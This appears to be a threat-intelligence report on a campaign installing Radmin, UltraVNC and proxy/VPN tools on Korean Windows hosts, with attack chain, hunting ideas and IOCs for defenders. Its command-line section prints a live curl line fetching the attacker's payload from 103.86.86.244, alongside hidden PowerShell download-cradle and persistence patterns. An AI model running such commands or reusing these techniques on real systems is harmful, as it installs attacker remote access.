10 minhigh
Attack Cases in Korea Involving the Installation of Radmin and UltraVNC
An unidentified threat actor targets Korean Windows systems by installing legitimate remote administration tools (Radmin, UltraVNC) and proxy utilities (Netch-gateway, CCProxy, SoftEther VPN). Initial intrusion method is unknown, but PowerShell download cradles fetch deployment scripts from 103.86.86.244. The attacker registers custom services and scheduled tasks for persistence, then converts compromised hosts into proxy and VPN nodes for further malicious activity.
Sens:▲ 24hConf:medium
IOCs21
8url5md54domain3file path1ip
Detection / Hunteropenrouter
What Happened
Attackers are compromising computers in South Korea and installing remote control software called Radmin and UltraVNC. This lets the attackers remotely view and control the affected computers. They also install proxy and VPN programs to turn the compromised computers into relay points for hiding or routing other malicious internet traffic. The attack starts with a hidden PowerShell command that downloads installation scripts from an attacker-controlled server. The scripts contain Chinese-language comments, suggesting the attackers may speak Chinese. Organizations should ensure their security software is up to date and be cautious of executable files from unknown sources.
Key Takeaways
- Attackers install Radmin and UltraVNC remote control tools on compromised Korean systems to maintain persistent remote access.
- Threat actor uses PowerShell download cradles (irm | iex) to fetch and execute deployment scripts from 103.86.86.244.
- Multiple proxy tools (Netch-gateway, CCProxy, SoftEther VPN) are installed to turn infected systems into proxy and VPN nodes.
- Scripts contain Chinese-language comments and configuration, suggesting a Chinese-speaking threat actor.
- Persistence is achieved via Windows services (WpnUserHost) and scheduled tasks (WpnUserHost_MutualWatchdog, WpnUserHost_HourlyWatchdog).
Affected Systems
- Windows systems (Korean users)
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: PowerShell uses curl to download r.Zip from 103.86.86.244:800 containing batch script, REG file, and Radmin tool
- Execution: 11.Bat installs Radmin to C:\Intel\RServer and registers install.Reg to configure Radmin with attacker ID 'ruxin'
- Persistence: Radmin service provides remote control; attacker uses Radmin to execute PowerShell download cradles for UltraVNC and proxy tools
- Installation: UltraVNC installer (svchost.Exe) deployed to C:\Windows\Fonts\web, registers WpnUserHost service and scheduled tasks for persistence
- C2: UltraVNC installer communicates with tt.yeyoujs.com:8443 to enroll device, report heartbeat with VNC port, and confirm password
- Proxy/VPN: Netch-gateway, CCProxy, and SoftEther VPN installed to convert infected system into proxy node and VPN server
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
No detection rules (YARA, Sigma, Snort/Suricata, KQL, SPL, EQL) are provided in the article. The article is an analytical report with IOCs and TTP descriptions only.
Detection Engineering Assessment
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | EDR can observe PowerShell download cradle execution, service creation (WpnUserHost), scheduled task registration, and file drops to atypical paths like C:\Windows\Fonts\web and C:\Intel\RServer. However, Radmin and UltraVNC are legitimate tools that may not trigger behavioral alerts by default. |
| Network Visibility | High | Network telemetry can detect connections to 103.86.86.244 on port 800, C2 communication with tt.yeyoujs.com on ports 8443 and 9443, and API endpoint patterns (/Api/agent/enroll, /Api/agent/heartbeat, /Internal/shadowsocks/auto-config). |
| Detection Difficulty | Moderate | The use of legitimate remote administration tools (Radmin, UltraVNC) and proxy software (SoftEther, CCProxy) reduces signature-based detection. However, the PowerShell download cradles, atypical installation paths, service and scheduled task names, and known C2 infrastructure provide multiple behavioral detection opportunities. |
Required Log Sources
- Windows PowerShell event logs (Event ID 4104, 4103)
- Windows System log (Service creation events - Event ID 7045)
- Windows Task Scheduler logs (Event ID 4698)
- Process creation logs (Sysmon Event ID 1)
- DNS resolution logs
- Network firewall/proxy logs
Hunting Hypotheses
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for PowerShell processes executing with -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass flags that use irm and iex cmdlets in the same command line, as this pattern is used to fetch and execute remote scripts. | PowerShell Script Block Logging (Event ID 4104), Sysmon Process Creation (Event ID 1) | Execution | Medium - legitimate administrators may use similar flags, but the combination with irm |
| Consider hunting for file creation activity under C:\Windows\Fonts\web or C:\Intel\RServer, as these are atypical installation paths used by this threat actor to hide remote control and proxy tools. | Sysmon File Creation (Event ID 11), EDR file write telemetry | Installation | Low - these paths are not standard installation locations for any legitimate software. |
| Consider hunting for creation of a Windows service named WpnUserHost or scheduled tasks named WpnUserHost_MutualWatchdog and WpnUserHost_HourlyWatchdog, as these are specific persistence mechanisms used in this campaign. | Windows System log (Event ID 7045), Windows Security log (Event ID 4698), Sysmon (Event ID 7, 11) | Persistence | Low - these service and task names are not associated with legitimate software. |
| Consider hunting for network connections to 103.86.86.244 on port 800 or to tt.yeyoujs.com on ports 8443 and 9443, as these are known C2 and distribution endpoints for this campaign. | Firewall logs, proxy logs, DNS logs, NetFlow | Command and Control | Low - these are specific attacker-controlled infrastructure endpoints. |
| Consider hunting for processes named svchost.Exe (note capital E) executing from non-system directories such as C:\Windows\Fonts\web, as the threat actor disguises malicious binaries as svchost.exe but with altered casing and from atypical paths. | Sysmon Process Creation (Event ID 1), EDR process telemetry | Defense Evasion | Low - legitimate svchost.exe runs from C:\Windows\System32 with lowercase naming. |
Control Gaps
- Signature-based AV may not flag legitimate remote administration tools (Radmin, UltraVNC) installed in atypical paths.
- Application whitelisting may not block PowerShell download cradles if PowerShell is permitted.
- Firewall rules may not block outbound connections to non-standard ports (800, 8443, 9443) if egress filtering is not enforced.
- Proxy tools (Netch-gateway, CCProxy, SoftEther) may not be recognized as malicious by endpoint controls since they are legitimate networking utilities.
Key Behavioral Indicators
- PowerShell process with -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass and irm/iex in command line
- File writes to C:\Windows\Fonts\web or C:\Intel\RServer
- Service creation with name WpnUserHost
- Scheduled task creation with names WpnUserHost_MutualWatchdog or WpnUserHost_HourlyWatchdog
- Process named svchost.Exe (capital E) executing from non-System32 directories
- Radmin configuration with user ID 'ruxin' in registry
- Network connections to 103.86.86.244 on port 800
- DNS resolution or connections to tt.yeyoujs.com, tvip.yeyoujs.com, koreakr.top, www.sheng886.top
False Positive Assessment
Medium - Radmin, UltraVNC, CCProxy, and SoftEther VPN are legitimate software products that may be intentionally installed by IT administrators. Detection should focus on atypical installation paths, the specific service and task names, and known C2 infrastructure rather than the tool names alone.
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider blocking network traffic to 103.86.86.244 and domains tt.yeyoujs.com, tvip.yeyoujs.com, koreakr.top, and www.sheng886.top at your firewall and proxy layers.
- Consider searching endpoint telemetry for the presence of files in C:\Windows\Fonts\web or C:\Intel\RServer, the WpnUserHost service, and scheduled tasks named WpnUserHost_MutualWatchdog or WpnUserHost_HourlyWatchdog.
- If your EDR supports host isolation, consider isolating any systems identified with the above indicators to prevent further remote access and proxy traffic relay.
- Consider hunting for PowerShell processes using irm and iex with -WindowStyle Hidden flags in your environment as a broad detection for this and similar download cradle attacks.
Infrastructure Hardening
- Evaluate whether egress filtering can restrict outbound connections to non-standard ports (800, 8443, 9443) if business requirements do not necessitate them.
- Consider implementing DNS filtering or sinkholing for the identified malicious domains if supported by your network security tooling.
- If applicable, consider monitoring for unauthorized installation of remote administration tools (Radmin, UltraVNC) via application control policies.
- Evaluate whether your organization's proxy and VPN policies would detect or prevent the installation of SoftEther VPN, CCProxy, or Netch-gateway on endpoints.
User Protection
- Consider ensuring endpoint detection and response coverage is deployed on all Windows systems, particularly those accessible from external networks.
- If supported by your endpoint tooling, consider adding file path monitors for C:\Windows\Fonts\web and C:\Intel\RServer as alerting indicators.
- Evaluate whether your endpoint security solution can detect the abuse of legitimate remote administration tools installed in non-standard locations.
Security Awareness
- Consider reinforcing guidance to users about the risks of executing files from unknown sources, particularly those delivered via PowerShell or batch scripts.
- If your organization has existing awareness training, consider adding information about the abuse of legitimate remote administration tools as a post-compromise technique.
- Consider reminding users to report unexpected remote control sessions or unfamiliar software installations to security teams.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping9 techniques
Tactic
Execution
Tactic
Persistence
Tactic
Stealth
Tactic
Lateral Movement
Tactic
Command and Control
Additional IOCs
- Urls:
hxxp://103[.]86[.]86[.]244/gateway/ag.exe- Executable downloaded during Netch-gateway proxy installation stage.hxxp://103[.]86[.]86[.]244/gateway/conima.exe- Executable downloaded during gateway proxy installation stage.hxxp://103[.]86[.]86[.]244:800/c/- Malware distribution directory on the C2 server hosting UltraVNC-related files.hxxp://103[.]86[.]86[.]244:800/c/config.example.json- Configuration file for the UltraVNC installer, downloaded from distribution server.hxxp://103[.]86[.]86[.]244:800/c/ddengine64.dll- DLL file downloaded from the C2 server as part of UltraVNC installation.
- File Hashes:
0d3c1e06d135fd2018f271822335a599(MD5) - MD5 hash of a malicious file associated with the attack campaign.0f906a7d2fc2b0bb73edcad8bc45bbdb(MD5) - MD5 hash of a malicious file associated with the attack campaign.12cc737b0e5e9576525295da76fa53d2(MD5) - MD5 hash of a malicious file associated with the attack campaign.
- File Paths:
C:\Intel\RServer- Radmin installation directory used by the threat actor to install remote control tool on infected systems.C:\Windows\Fonts\web- UltraVNC installation directory created by the deployment script to hide malicious files among font files.C:\Windows\Fonts\web\web.Ini- UltraVNC configuration file containing VNC port and password settings written by the installer.
- Command Lines:
- Purpose: Download compressed Radmin payload via curl in PowerShell | Tools:
powershell.exe,curl| Stage: Initial Access |curl http://103.86.86.244:800/Gateway/r.Zip - Purpose: Fetch and execute UltraVNC deployment script via PowerShell download cradle | Tools:
powershell.exe| Stage: Execution - Purpose: Fetch and execute Netch-gateway proxy deployment script via PowerShell download cradle | Tools:
powershell.exe| Stage: Execution
- Purpose: Download compressed Radmin payload via curl in PowerShell | Tools:
- Other:
WpnUserHost- Windows service name registered by the UltraVNC installation script to run the installer as a service for persistence.WpnUserHost_MutualWatchdog- Scheduled task registered to download and execute repair.Ps1 for persistence and recovery of UltraVNC installer.WpnUserHost_HourlyWatchdog- Scheduled task registered by the UltraVNC installer to download and execute repair.Ps1 every hour for persistence.ruxin- Threat actor ID configured in Radmin settings for remote access to infected systems.
Showing defanged values
- domainkoreakr[.]topDomain listed in IOC section, associated with the attack campaign targeting Korean users.
- domaintt[.]yeyoujs[.]comC2 server for UltraVNC installer communication (port 8443) and tunneling endpoint (port 9443). Installer reports VNC port and device status to this server.
- domaintvip[.]yeyoujs[.]comDomain associated with the attack infrastructure, related to the yeyoujs.com C2 domain family.
- domainwww[.]sheng886[.]topDomain listed in IOC section, associated with the attack campaign infrastructure.
- file_pathC:\Intel\RServerRadmin installation directory used by the threat actor to install remote control tool on infected systems.
- file_pathC:\Windows\Fonts\webUltraVNC installation directory created by the deployment script to hide malicious files among font files.
- file_pathC:\Windows\Fonts\web\web.IniUltraVNC configuration file containing VNC port and password settings written by the installer.
- ip103[.]86[.]86[.]244Primary distribution and C2 server. Hosts compressed payloads, PowerShell deployment scripts, UltraVNC files, and proxy tool downloads across multiple attack stages.
- md502153f3fbb3611bc8b01eb347bf86c5aMD5 hash of a malicious file associated with the attack campaign.
- md508613b6f27bf240af3f84c88b839f034MD5 hash of a malicious file associated with the attack campaign.
- md50d3c1e06d135fd2018f271822335a599MD5 hash of a malicious file associated with the attack campaign.
- md50f906a7d2fc2b0bb73edcad8bc45bbdbMD5 hash of a malicious file associated with the attack campaign.
- md512cc737b0e5e9576525295da76fa53d2MD5 hash of a malicious file associated with the attack campaign.
- urlhxxp://103[.]86[.]86[.]244:800/c/Malware distribution directory on the C2 server hosting UltraVNC-related files.
- urlhxxp://103[.]86[.]86[.]244:800/c/config[.]example[.]jsonConfiguration file for the UltraVNC installer, downloaded from distribution server.
- urlhxxp://103[.]86[.]86[.]244:800/c/ddengine64[.]dllDLL file downloaded from the C2 server as part of UltraVNC installation.
- urlhxxp://103[.]86[.]86[.]244:800/Gateway/deploy_silent1[.]Ps1PowerShell deployment script for Netch-gateway proxy tool installation. Fetched via irm | iex pattern.
- urlhxxp://103[.]86[.]86[.]244:800/Gateway/r[.]ZipInitial compressed payload containing batch script, REG file, and Radmin remote control tool. Downloaded via curl in PowerShell.
- urlhxxp://103[.]86[.]86[.]244:800/V/deploy[.]Ps1PowerShell deployment script for UltraVNC installation. Fetched via irm | iex pattern and executed hidden.
- urlhxxp://103[.]86[.]86[.]244/gateway/ag[.]exeExecutable downloaded during Netch-gateway proxy installation stage.
- urlhxxp://103[.]86[.]86[.]244/gateway/conima[.]exeExecutable downloaded during gateway proxy installation stage.
Stay currentSubscribe via RSS